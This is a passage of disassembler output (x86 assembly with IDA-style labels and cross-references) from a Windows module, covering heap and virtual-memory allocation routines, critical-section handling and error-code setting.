; END OF FUNCTION CHUNK FOR sub_69B1C300
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DBFF
loc_69B234EC: ; CODE XREF: sub_69B1DBFF+26j
cmp [eax+10h], ecx
jle loc_69B1DC2B
push ecx
lea ecx, [ebp+var_4]
push ecx
push eax
mov ecx, esi
call sub_69B2E03C
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B23526
push [ebp+lpCriticalSection] ; lpCriticalSection
mov ebx, [esi+28h]
call ds:LeaveCriticalSection
mov edi, [ebp+var_4]
loc_69B23518: ; CODE XREF: sub_69B1DBFF+5961j
mov ecx, 800h
xor eax, eax
rep stosd
jmp loc_69B1DC84
; ---------------------------------------------------------------------------
loc_69B23526: ; CODE XREF: sub_69B1DBFF+5908j
xor ecx, ecx
jmp loc_69B1DC2B
; ---------------------------------------------------------------------------
loc_69B2352D: ; CODE XREF: sub_69B1DBFF+31j
; sub_69B1DBFF+5938j
cmp [ebx+10h], ecx
jnz short loc_69B23539
mov ebx, [ebx+8]
cmp ebx, ecx
jnz short loc_69B2352D
loc_69B23539: ; CODE XREF: sub_69B1DBFF+5931j
cmp ebx, ecx
jz loc_69B1DC36
push ecx
lea eax, [ebp+var_4]
push eax
push ebx
mov ecx, esi
call sub_69B2E03C
mov edi, eax
test edi, edi
mov [ebp+var_4], edi
jz short loc_69B23562
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
jmp short loc_69B23518
; ---------------------------------------------------------------------------
loc_69B23562: ; CODE XREF: sub_69B1DBFF+5956j
and [ebp+var_4], 0
xor ebx, ebx
jmp loc_69B1DC84
; ---------------------------------------------------------------------------
loc_69B2356D: ; CODE XREF: sub_69B1DBFF+3Cj
; sub_69B1DBFF+5979j
cmp dword ptr [ebx+0Ch], 10h
jb short loc_69B2357A
mov ebx, [ebx+8]
cmp ebx, ecx
jnz short loc_69B2356D
loc_69B2357A: ; CODE XREF: sub_69B1DBFF+5972j
cmp ebx, ecx
jz loc_69B1DC41
push ebx
mov ecx, esi
call sub_69B1DC97
mov [ebp+var_4], eax
jmp loc_69B1DC7B
; ---------------------------------------------------------------------------
loc_69B23592: ; CODE XREF: sub_69B1DBFF+73j
mov [eax+4], ebx
jmp loc_69B1DC78
; END OF FUNCTION CHUNK FOR sub_69B1DBFF
; =============== S U B R O U T I N E =======================================
sub_69B2359A proc near ; DATA XREF: .text:69B1DA64o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B2359A endp
; =============== S U B R O U T I N E =======================================
sub_69B235A3 proc near ; DATA XREF: .text:69B1DA68o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
call sub_69B2E860
jmp loc_69B1DA30
sub_69B235A3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B120A4
loc_69B235B8: ; CODE XREF: sub_69B120A4+9j
mov eax, esi
mov ecx, [eax]
mov esi, [esi+60h]
push eax
call dword ptr [ecx+8]
jmp loc_69B120AB
; END OF FUNCTION CHUNK FOR sub_69B120A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DB3A
loc_69B235C8: ; CODE XREF: sub_69B1DB3A+16j
mov esi, [edx+1Ch]
mov eax, [esi+4]
mov [edx+1Ch], eax
mov ecx, [edi+44h]
push ebx
mov ebx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
pop ebx
jmp loc_69B1DB5C
; END OF FUNCTION CHUNK FOR sub_69B1DB3A
; =============== S U B R O U T I N E =======================================
sub_69B235ED proc near ; DATA XREF: .text:69B1DBC4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B235ED endp
; =============== S U B R O U T I N E =======================================
sub_69B235F6 proc near ; DATA XREF: .text:69B1DBC8o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
push eax ; lpCriticalSection
push dword ptr [ebp-20h] ; int
mov ecx, [eax+18h]
call sub_69B2E0D4
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B1DBB5
sub_69B235F6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D908
loc_69B23611: ; CODE XREF: sub_69B1D908+36j
push 8
pop edi
jmp loc_69B1D944
; END OF FUNCTION CHUNK FOR sub_69B1D908
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D8D5
loc_69B23619: ; CODE XREF: sub_69B1D8D5+Cj
push dword_69B929E8
lea ecx, [ebp+var_4]
call sub_69B18E23
mov esi, dword_69B929F4
test esi, esi
lea ecx, [ebp+var_4]
jz short loc_69B2364C
mov eax, [esi+60h]
mov dword_69B929F4, eax
and dword ptr [esi+60h], 0
call sub_69B1900C
mov eax, esi
jmp loc_69B1D8FF
; ---------------------------------------------------------------------------
loc_69B2364C: ; CODE XREF: sub_69B1D8D5+5D5Dj
call sub_69B1900C
jmp loc_69B1D8E7
; END OF FUNCTION CHUNK FOR sub_69B1D8D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DAD9
loc_69B23656: ; CODE XREF: sub_69B1DAD9+Bj
push edi
push 0 ; Value
push eax ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov ecx, [ebx+44h]
mov esi, ecx
mov ebp, eax
mov edx, [ebp+4]
shr ecx, 2
xor eax, eax
mov edi, ebp
rep stosd
mov ecx, esi
and ecx, 3
test edx, edx
rep stosb
pop edi
jz loc_69B1DB2A
loc_69B23683: ; CODE XREF: sub_69B1DAD9+5BB9j
mov esi, [edx+4]
push edx
mov ecx, ebx
call sub_69B2E2CA
test esi, esi
mov edx, esi
jnz short loc_69B23683
jmp loc_69B1DB2A
; ---------------------------------------------------------------------------
loc_69B23699: ; CODE XREF: sub_69B1DAD9+16j
cmp dword ptr [esi+14h], 0
jle short loc_69B236B1
push ebx
mov ecx, esi
call sub_69B1DB3A
mov ebp, eax
test ebp, ebp
jnz loc_69B1DB27
loc_69B236B1: ; CODE XREF: sub_69B1DAD9+5BC4j
mov esi, [esi+10h]
jmp loc_69B1DAED
; ---------------------------------------------------------------------------
loc_69B236B9: ; CODE XREF: sub_69B1DAD9+5Cj
cmp dword ptr [esi+14h], 0
jle short loc_69B236D1
push ebx
mov ecx, esi
call sub_69B1DB3A
mov ebp, eax
test ebp, ebp
jnz loc_69B1DB27
loc_69B236D1: ; CODE XREF: sub_69B1DAD9+5BE4j
mov esi, [esi+10h]
jmp loc_69B1DAF8
; ---------------------------------------------------------------------------
loc_69B236D9: ; CODE XREF: sub_69B1DAD9+45j
mov [eax+0Ch], esi
jmp loc_69B1DB24
; END OF FUNCTION CHUNK FOR sub_69B1DAD9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1129D
loc_69B236E1: ; CODE XREF: sub_69B1129D+7j
push [esp+arg_0]
call sub_69B2D42E
jmp loc_69B112B1
; END OF FUNCTION CHUNK FOR sub_69B1129D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B182B8
loc_69B236EF: ; CODE XREF: sub_69B182B8+8Dj
mov ecx, [ebp+arg_0]
call sub_69B18381
loc_69B236F7: ; CODE XREF: sub_69B182B8+71j
mov edi, [ebp+arg_4]
mov dword ptr [edi+4], 0FFFFFFEh
loc_69B23701: ; CODE XREF: sub_69B182B8+397Bj
lea ebx, [esi+2030h]
loc_69B23707: ; CODE XREF: sub_69B182B8+B45Ej
mov esi, [ebx]
push esi
push edi
push ebx
mov [edi], esi
call dword_69B92950 ; InterlockedCompareExchange
cmp eax, esi
jnz short loc_69B23707
jmp loc_69B1BC6B
; ---------------------------------------------------------------------------
loc_69B2371D: ; CODE XREF: sub_69B182B8+398Bj
sub edi, 4
jmp loc_69B1BC49
; END OF FUNCTION CHUNK FOR sub_69B182B8
; =============== S U B R O U T I N E =======================================
sub_69B23725 proc near ; CODE XREF: sub_69B120DB+1Dj
push ebx
loc_69B23726: ; CODE XREF: sub_69B23725+80j
mov eax, [esi]
inc dword ptr [edi+206Ch]
mov [ebp+8], eax
mov eax, [esi+4]
cmp eax, 0FFFFFFEh
jnz short loc_69B23785
lea eax, [ebp-4]
push eax
lea eax, [ebp-8]
push eax
lea ebx, [edi+4]
push esi
push ebx
call sub_69B11E93
xor edx, edx
add esp, 10h
cmp eax, edx
jz short loc_69B23768
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_69B1872D
add esp, 10h
jmp short loc_69B237A0
; ---------------------------------------------------------------------------
loc_69B23768: ; CODE XREF: sub_69B23725+2Fj
mov ecx, [esi]
cmp dword_69B92940, edx
lea eax, [esi-8]
push eax ; lpMem
mov [ebp+8], ecx
mov ecx, [edi]
push edx ; dwFlags
push ecx ; hHeap
loc_69B2377B: ; CODE XREF: sub_69B23725+74j
jnz short loc_69B2379B
call ds:HeapFree
jmp short loc_69B237A0
; ---------------------------------------------------------------------------
loc_69B23785: ; CODE XREF: sub_69B23725+14j
test eax, eax
jns short loc_69B2378C
add esi, 0FFFFFFFCh
loc_69B2378C: ; CODE XREF: sub_69B23725+62j
mov eax, [edi]
cmp dword_69B92940, 0
push esi ; lpMem
push 0 ; int
push eax ; hHeap
jmp short loc_69B2377B
; ---------------------------------------------------------------------------
loc_69B2379B: ; CODE XREF: sub_69B23725:loc_69B2377Bj
call sub_69B2D4AB
loc_69B237A0: ; CODE XREF: sub_69B23725+41j
; sub_69B23725+5Ej
mov esi, [ebp+8]
test esi, esi
jnz loc_69B23726
pop ebx
jmp loc_69B120FE
sub_69B23725 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17F72
loc_69B237B1: ; CODE XREF: sub_69B17F72+56j
mov [ebp+arg_0], edx
mov [eax+4Ch], edx
mov ecx, edx
jmp loc_69B17FCE
; ---------------------------------------------------------------------------
loc_69B237BE: ; CODE XREF: sub_69B17F72+79j
push edx ; Value
push eax ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov edx, eax
test edx, edx
jnz short loc_69B237F7
jmp loc_69B17FF1
; ---------------------------------------------------------------------------
loc_69B237D1: ; CODE XREF: sub_69B17F72+8Cj
inc [ebp+arg_0]
mov eax, [ebp+arg_0]
add esi, 2270h
cmp eax, [ebx]
jnz short loc_69B237E8
and [ebp+arg_0], 0
lea esi, [ebx+10h]
loc_69B237E8: ; CODE XREF: sub_69B17F72+B86Dj
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_C]
jz short loc_69B2382E
xor edx, edx
jmp loc_69B17FD8
; ---------------------------------------------------------------------------
loc_69B237F7: ; CODE XREF: sub_69B17F72+B858j
inc dword ptr [esi+2064h]
test byte ptr [ebp+arg_4], 8
jz short loc_69B23819
mov ecx, [ebp+arg_8]
mov esi, ecx
shr ecx, 2
xor eax, eax
lea edi, [edx+8]
rep stosd
mov ecx, esi
and ecx, 3
rep stosb
loc_69B23819: ; CODE XREF: sub_69B17F72+B88Fj
mov eax, [ebp+var_8]
test eax, eax
jz short loc_69B23826
mov ecx, [ebp+arg_0]
mov [eax+4Ch], ecx
loc_69B23826: ; CODE XREF: sub_69B17F72+B8ACj
lea eax, [edx+8]
jmp loc_69B18087
; ---------------------------------------------------------------------------
loc_69B2382E: ; CODE XREF: sub_69B17F72+B87Cj
push 0FFFFFFFFh ; dwMilliseconds
lea ecx, [esi+2034h]
call sub_69B18F8A
jmp loc_69B18004
; ---------------------------------------------------------------------------
loc_69B23840: ; CODE XREF: sub_69B17F72+A0j
push esi
call sub_69B120DB
jmp loc_69B18018
; ---------------------------------------------------------------------------
loc_69B2384B: ; CODE XREF: sub_69B17F72+339Fj
add ebx, 4
or byte ptr [ebp+var_4+3], 80h
jmp loc_69B1B317
; END OF FUNCTION CHUNK FOR sub_69B17F72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AC42
loc_69B23857: ; CODE XREF: sub_69B1AC42+Cj
push 57h ; dwErrCode
call ds:SetLastError
xor eax, eax
jmp loc_69B1AD3E
; ---------------------------------------------------------------------------
loc_69B23866: ; CODE XREF: sub_69B1AC42+77j
push 8 ; dwErrCode
call ds:SetLastError
push edi ; hHeap
call ds:HeapDestroy ; HeapDestroy
jmp loc_69B1AD4D
; ---------------------------------------------------------------------------
loc_69B2387A: ; CODE XREF: sub_69B1AC42+CBj
call ds:GetLastError
push esi
mov edi, eax
call sub_69B1ADE2
push edi ; dwErrCode
call ds:SetLastError
jmp loc_69B1AD4D
; END OF FUNCTION CHUNK FOR sub_69B1AC42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1ABFE
loc_69B23894: ; CODE XREF: sub_69B1ABFE+33j
mov dword_69B949FC, 4
jmp loc_69B1AC37
; END OF FUNCTION CHUNK FOR sub_69B1ABFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19E4E
loc_69B238A3: ; CODE XREF: sub_69B19E4E+13j
call sub_69B2D461
retn
; END OF FUNCTION CHUNK FOR sub_69B19E4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B532
loc_69B238A9: ; CODE XREF: sub_69B1B532+13j
call sub_69B2D4AB
retn
; END OF FUNCTION CHUNK FOR sub_69B1B532
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19DB4
loc_69B238AF: ; CODE XREF: sub_69B19DB4-812Ej
; sub_69B19DB4+8Fj
mov ecx, dword_69B929E4
test ecx, ecx
jz short loc_69B238BE
call sub_69B18381
loc_69B238BE: ; CODE XREF: sub_69B19DB4+9B03j
call sub_69B2E87C
jmp loc_69B19E2D
; END OF FUNCTION CHUNK FOR sub_69B19DB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B1F3
loc_69B238C8: ; CODE XREF: sub_69B1B1F3+33j
call ds:DebugBreak ; DebugBreak
jmp loc_69B1B22C
; ---------------------------------------------------------------------------
loc_69B238D3: ; CODE XREF: sub_69B1B1F3-5j
push edi ; lpMem
call sub_69B1B532
mov eax, [ebp+arg_0]
and dword ptr [eax], 0
pop ecx
jmp loc_69B1B272
; END OF FUNCTION CHUNK FOR sub_69B1B1F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11E93
loc_69B238E5: ; CODE XREF: sub_69B11E93+46j
call ds:DebugBreak ; DebugBreak
jmp loc_69B11EDF
; END OF FUNCTION CHUNK FOR sub_69B11E93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BC7A
loc_69B238F0: ; CODE XREF: sub_69B1BC7A+23j
add eax, ebx
cmp byte ptr [eax], 0
jz short loc_69B238F9
mov esi, eax
loc_69B238F9: ; CODE XREF: sub_69B1BC7A+7C7Bj
lea eax, [esi+edx]
cmp eax, edi
jnb short loc_69B2393F
loc_69B23900: ; CODE XREF: sub_69B1BC7A+7CC3j
mov al, [esi]
test al, al
jnz short loc_69B23932
xor eax, eax
lea edi, [esi+1]
inc eax
jmp short loc_69B23910
; ---------------------------------------------------------------------------
loc_69B2390E: ; CODE XREF: sub_69B1BC7A+7C99j
inc edi
inc eax
loc_69B23910: ; CODE XREF: sub_69B1BC7A+7C92j
cmp byte ptr [edi], 0
jz short loc_69B2390E
cmp eax, edx
jnb short loc_69B23944
cmp esi, [ebp+var_4]
jnz short loc_69B23923
mov [ecx+0Ch], eax
jmp short loc_69B2392B
; ---------------------------------------------------------------------------
loc_69B23923: ; CODE XREF: sub_69B1BC7A+7CA2j
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_69B2398C
loc_69B2392B: ; CODE XREF: sub_69B1BC7A+7CA7j
mov ebx, [ebp+var_4]
mov esi, edi
jmp short loc_69B23937
; ---------------------------------------------------------------------------
loc_69B23932: ; CODE XREF: sub_69B1BC7A+7C8Aj
movzx eax, al
add esi, eax
loc_69B23937: ; CODE XREF: sub_69B1BC7A+7CB6j
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jb short loc_69B23900
loc_69B2393F: ; CODE XREF: sub_69B1BC7A+7C84j
lea esi, [ecx+10h]
jmp short loc_69B23988
; ---------------------------------------------------------------------------
loc_69B23944: ; CODE XREF: sub_69B1BC7A+7C9Dj
; sub_69B1BC7A+7CFBj
lea edi, [esi+edx]
cmp edi, [ebp+arg_0]
jnb short loc_69B23993
sub eax, edx
mov [ecx+8], edi
mov [ecx+0Ch], eax
jmp short loc_69B2399D
; ---------------------------------------------------------------------------
loc_69B23956: ; CODE XREF: sub_69B1BC7A+7D10j
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_69B2398C
mov al, [esi]
test al, al
jnz short loc_69B23983
xor eax, eax
lea edi, [esi+1]
inc eax
jmp short loc_69B2396E
; ---------------------------------------------------------------------------
loc_69B2396C: ; CODE XREF: sub_69B1BC7A+7CF7j
inc edi
inc eax
loc_69B2396E: ; CODE XREF: sub_69B1BC7A+7CF0j
cmp byte ptr [edi], 0
jz short loc_69B2396C
cmp eax, edx
jnb short loc_69B23944
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_69B2398C
mov esi, edi
jmp short loc_69B23988
; ---------------------------------------------------------------------------
loc_69B23983: ; CODE XREF: sub_69B1BC7A+7CE8j
movzx eax, al
add esi, eax
loc_69B23988: ; CODE XREF: sub_69B1BC7A+7CC8j
; sub_69B1BC7A+7D07j
cmp esi, ebx
jb short loc_69B23956
loc_69B2398C: ; CODE XREF: sub_69B1BC7A+7CAFj
; sub_69B1BC7A+7CE2j ...
xor eax, eax
jmp loc_69B1BCBE
; ---------------------------------------------------------------------------
loc_69B23993: ; CODE XREF: sub_69B1BC7A+7CD0j
and dword ptr [ecx+0Ch], 0
lea eax, [ecx+10h]
mov [ecx+8], eax
loc_69B2399D: ; CODE XREF: sub_69B1BC7A+7CDAj
mov eax, esi
sub eax, ecx
inc eax
shl eax, 4
add eax, ecx
and dword ptr [eax], 0
mov [esi], dl
jmp loc_69B1BCBE
; END OF FUNCTION CHUNK FOR sub_69B1BC7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19D0A
loc_69B239B1: ; CODE XREF: sub_69B19D0A+16j
xor edi, edi
push 2020h ; dwBytes
push edi ; dwFlags
push hHeap ; hHeap
cmp dword_69B92940, edi
jnz short loc_69B239CF
call ds:HeapAlloc
jmp short loc_69B239D4
; ---------------------------------------------------------------------------
loc_69B239CF: ; CODE XREF: sub_69B19D0A+9CBBj
call sub_69B2D461
loc_69B239D4: ; CODE XREF: sub_69B19D0A+9CC3j
mov esi, eax
mov [ebp-20h], esi
cmp esi, edi
jz loc_69B23A8A
jmp loc_69B19D29
; ---------------------------------------------------------------------------
loc_69B239E6: ; CODE XREF: sub_69B19D0A+4A2Cj
mov [eax], eax
jmp loc_69B1E73C
; ---------------------------------------------------------------------------
loc_69B239ED: ; CODE XREF: sub_69B19D0A+4A35j
mov [eax+4], eax
jmp loc_69B1E745
; ---------------------------------------------------------------------------
loc_69B239F5: ; CODE XREF: sub_69B19D0A+4A24j
mov [esi], eax
mov ecx, [eax+4]
mov [esi+4], ecx
mov [eax+4], esi
mov eax, [esi+4]
mov [eax], esi
jmp loc_69B1E745
; END OF FUNCTION CHUNK FOR sub_69B19D0A
; =============== S U B R O U T I N E =======================================
sub_69B23A0A proc near ; DATA XREF: .text:69B19DACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23A0A endp
; =============== S U B R O U T I N E =======================================
sub_69B23A13 proc near ; DATA XREF: .text:69B19DB0o
mov esp, [ebp-18h]
mov edi, [ebp-28h]
mov esi, 1000h
mov ebx, [ebp-24h]
jmp short loc_69B23A29
; ---------------------------------------------------------------------------
loc_69B23A23: ; CODE XREF: sub_69B23A13+1Aj
push edi
call sub_69B1B1F3
loc_69B23A29: ; CODE XREF: sub_69B23A13+Ej
sub edi, esi
cmp edi, ebx
jnb short loc_69B23A23
push 4000h ; dwFreeType
push 10000h ; dwSize
push ebx ; lpAddress
cmp dword_69B92940, 0
jnz short loc_69B23A4B
call ds:VirtualFree ; VirtualFree
jmp short loc_69B23A50
; ---------------------------------------------------------------------------
loc_69B23A4B: ; CODE XREF: sub_69B23A13+2Ej
call sub_69B2D527
loc_69B23A50: ; CODE XREF: sub_69B23A13+36j
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
xor edi, edi
sub_69B23A13 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B19D0A
loc_69B23A59: ; CODE XREF: sub_69B19D0A+62j
push 8000h ; dwFreeType
push edi ; dwSize
push ebx ; lpAddress
call ds:VirtualFree ; VirtualFree
loc_69B23A66: ; CODE XREF: sub_69B19D0A+3Cj
cmp esi, [ebp-1Ch]
jz short loc_69B23A8A
xor eax, eax
push esi ; lpMem
push eax ; dwFlags
push hHeap ; hHeap
cmp dword_69B92940, eax
jnz short loc_69B23A85
call ds:HeapFree
jmp short loc_69B23A8A
; ---------------------------------------------------------------------------
loc_69B23A85: ; CODE XREF: sub_69B19D0A+9D71j
call sub_69B2D4AB
loc_69B23A8A: ; CODE XREF: sub_69B19D0A+9CD1j
; sub_69B19D0A+9D5Fj ...
xor eax, eax
jmp loc_69B1E7C2
; END OF FUNCTION CHUNK FOR sub_69B19D0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A48F
loc_69B23A91: ; CODE XREF: sub_69B1A48F+58j
xor edx, edx
inc edx
lea eax, [ecx+20h]
loc_69B23A97: ; CODE XREF: sub_69B1A48F+9617j
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_69B23AA8
inc edx
add eax, 8
cmp edx, 400h
jl short loc_69B23A97
loc_69B23AA8: ; CODE XREF: sub_69B1A48F+960Bj
cmp edx, 400h
jnz loc_69B1A4ED
push ecx ; lpMem
push [ebp+arg_0] ; int
call sub_69B2E786
pop ecx
pop ecx
jmp loc_69B1A4ED
; ---------------------------------------------------------------------------
loc_69B23AC4: ; CODE XREF: sub_69B1A48F+64j
cmp [ebp+arg_4], 0
jg loc_69B1A4A2
jmp loc_69B1A4F9
; END OF FUNCTION CHUNK FOR sub_69B1A48F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1872D
loc_69B23AD3: ; CODE XREF: sub_69B1872D-5j
push 10h
push ecx
call sub_69B1A48F
pop ecx
pop ecx
jmp locret_69B18787
; END OF FUNCTION CHUNK FOR sub_69B1872D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B184B1
loc_69B23AE2: ; CODE XREF: sub_69B184B1+5Fj
mov [edi+4], ebx
mov eax, [ebp-1Ch]
jmp loc_69B1848B
; ---------------------------------------------------------------------------
loc_69B23AED: ; CODE XREF: sub_69B184B1+3Ej
mov ebx, [ebp+0Ch]
loc_69B23AF0: ; CODE XREF: sub_69B184B1-11j
lea edi, [esi+18h]
mov eax, [esi+8]
mov [ebp-20h], eax
mov ecx, [esi+10h]
mov [ebp-1Ch], ecx
cmp edi, eax
jnb loc_69B19C9A
loc_69B23B07: ; CODE XREF: sub_69B184B1+B686j
mov eax, [edi]
cmp eax, ebx
jl short loc_69B23B2A
cmp [edi+4], ebx
jbe short loc_69B23B2A
push ebx
push eax
push dword ptr [ebp-1Ch]
call sub_69B1BC7A
add esp, 0Ch
test eax, eax
jnz loc_69B18516
mov [edi+4], ebx
loc_69B23B2A: ; CODE XREF: sub_69B184B1+B65Aj
; sub_69B184B1+B65Fj
add edi, 8
add dword ptr [ebp-1Ch], 1000h
cmp edi, [ebp-20h]
jb short loc_69B23B07
jmp loc_69B19C9A
; ---------------------------------------------------------------------------
loc_69B23B3E: ; CODE XREF: sub_69B184B1+1803j
mov ecx, [eax+0Ch]
test ecx, ecx
jz loc_69B19CBA
mov ebx, ecx
mov [ebp-28h], ebx
mov esi, ebx
sub esi, eax
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, edx
mov [ebp-1Ch], esi
xor edi, edi
mov [ebp-20h], ebx
cmp dword ptr [ebx], 0FFFFFFFFh
jmp short loc_69B23B7A
; ---------------------------------------------------------------------------
loc_69B23B6A: ; CODE XREF: sub_69B184B1+B6CCj
cmp edi, 10h
jge short loc_69B23B7F
add dword ptr [ebp-20h], 8
inc edi
mov eax, [ebp-20h]
cmp dword ptr [eax], 0FFFFFFFFh
loc_69B23B7A: ; CODE XREF: sub_69B184B1+B6B7j
mov [ebp-2Ch], edi
jz short loc_69B23B6A
loc_69B23B7F: ; CODE XREF: sub_69B184B1+B6BCj
shl edi, 0Ch
push 4 ; flProtect
push 1000h ; flAllocationType
push edi ; dwSize
push esi ; lpAddress
cmp dword_69B92940, 0
jnz short loc_69B23B9C
call ds:VirtualAlloc ; VirtualAlloc
jmp short loc_69B23BA1
; ---------------------------------------------------------------------------
loc_69B23B9C: ; CODE XREF: sub_69B184B1+B6E1j
call sub_69B2D4D6
loc_69B23BA1: ; CODE XREF: sub_69B184B1+B6E9j
cmp eax, esi
jnz loc_69B184AD
mov ecx, edi
xor eax, eax
mov edi, esi
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
and dword ptr [ebp-4], 0
and dword ptr [ebp-30h], 0
mov edi, esi
loc_69B23BC7: ; CODE XREF: sub_69B184B1+B75Cj
mov [ebp-34h], edi
mov [ebp-20h], ebx
mov eax, [ebp-30h]
cmp eax, [ebp-2Ch]
jge short loc_69B23C0F
push edi
call sub_69B19DB4
mov eax, 0EFh
mov [ebx], eax
mov dword ptr [ebx+4], 0F0h
lea ecx, [edi+10h]
mov [edi+8], ecx
mov [edi+0Ch], eax
mov byte ptr [edi+0FFh], 0FFh
mov eax, [ebp+8]
or eax, 1
mov [edi], eax
inc dword ptr [ebp-30h]
add edi, 1000h
add ebx, 8
jmp short loc_69B23BC7
; ---------------------------------------------------------------------------
loc_69B23C0F: ; CODE XREF: sub_69B184B1+B722j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B23C62
; END OF FUNCTION CHUNK FOR sub_69B184B1
; =============== S U B R O U T I N E =======================================
sub_69B23C15 proc near ; DATA XREF: .text:69B18534o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23C15 endp
; =============== S U B R O U T I N E =======================================
sub_69B23C1E proc near ; DATA XREF: .text:69B18538o
mov esp, [ebp-18h]
mov eax, [ebp-2Ch]
sub eax, [ebp-30h]
shl eax, 0Ch
push 4000h ; dwFreeType
push eax ; dwSize
push dword ptr [ebp-34h] ; lpAddress
cmp dword_69B92940, 0
jnz short loc_69B23C44
call ds:VirtualFree ; VirtualFree
jmp short loc_69B23C49
; ---------------------------------------------------------------------------
loc_69B23C44: ; CODE XREF: sub_69B23C1E+1Cj
call sub_69B2D527
loc_69B23C49: ; CODE XREF: sub_69B23C1E+24j
cmp dword ptr [ebp-30h], 0
jnz short loc_69B23C58
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B184AD
; ---------------------------------------------------------------------------
loc_69B23C58: ; CODE XREF: sub_69B23C1E+2Fj
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-20h]
mov esi, [ebp-1Ch]
sub_69B23C1E endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B184B1
loc_69B23C62: ; CODE XREF: sub_69B184B1+B762j
mov edx, [ebp-24h]
mov eax, [ebp+8]
mov [eax+2020h], edx
lea eax, [edx+2018h]
jmp short loc_69B23C7E
; ---------------------------------------------------------------------------
loc_69B23C76: ; CODE XREF: sub_69B184B1+B7CFj
cmp dword ptr [ebx], 0FFFFFFFFh
jz short loc_69B23C82
add ebx, 8
loc_69B23C7E: ; CODE XREF: sub_69B184B1+B7C3j
cmp ebx, eax
jb short loc_69B23C76
loc_69B23C82: ; CODE XREF: sub_69B184B1+B7C8j
cmp ebx, eax
sbb eax, eax
and eax, ebx
mov [edx+0Ch], eax
mov eax, [ebp+0Ch]
mov [esi+10h], al
mov ecx, [ebp-28h]
mov [edx+8], ecx
sub [ecx], eax
lea ecx, [esi+eax+10h]
mov [esi+8], ecx
sub [esi+0Ch], eax
lea eax, [esi+110h]
jmp loc_69B18524
; END OF FUNCTION CHUNK FOR sub_69B184B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B190D7
loc_69B23CAE: ; CODE XREF: sub_69B190D7+Fj
xor eax, eax
retn 8
; END OF FUNCTION CHUNK FOR sub_69B190D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1885E
loc_69B23CB3: ; CODE XREF: sub_69B1885E+16j
mov eax, [eax]
jmp loc_69B1886E
; END OF FUNCTION CHUNK FOR sub_69B1885E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B814
loc_69B23CBA: ; CODE XREF: sub_69B1B814+4Dj
push 80004005h
call sub_69B2E8B8
jmp loc_69B1B867
; ---------------------------------------------------------------------------
loc_69B23CC9: ; CODE XREF: sub_69B1B814+7Aj
mov eax, offset dword_69B23D00
jmp loc_69B1B894
; ---------------------------------------------------------------------------
loc_69B23CD3: ; CODE XREF: sub_69B1B814+E8j
; sub_69B1B814+F4j
push 80004005h
call sub_69B2E8B8
jmp loc_69B1B90E
; ---------------------------------------------------------------------------
loc_69B23CE2: ; CODE XREF: sub_69B1B814+18j
mov eax, hModule
mov lpSource, eax
jmp loc_69B1B90E
; ---------------------------------------------------------------------------
loc_69B23CF1: ; CODE XREF: sub_69B1B814+101j
push 80004005h
call sub_69B2E8B8
jmp loc_69B1B91B
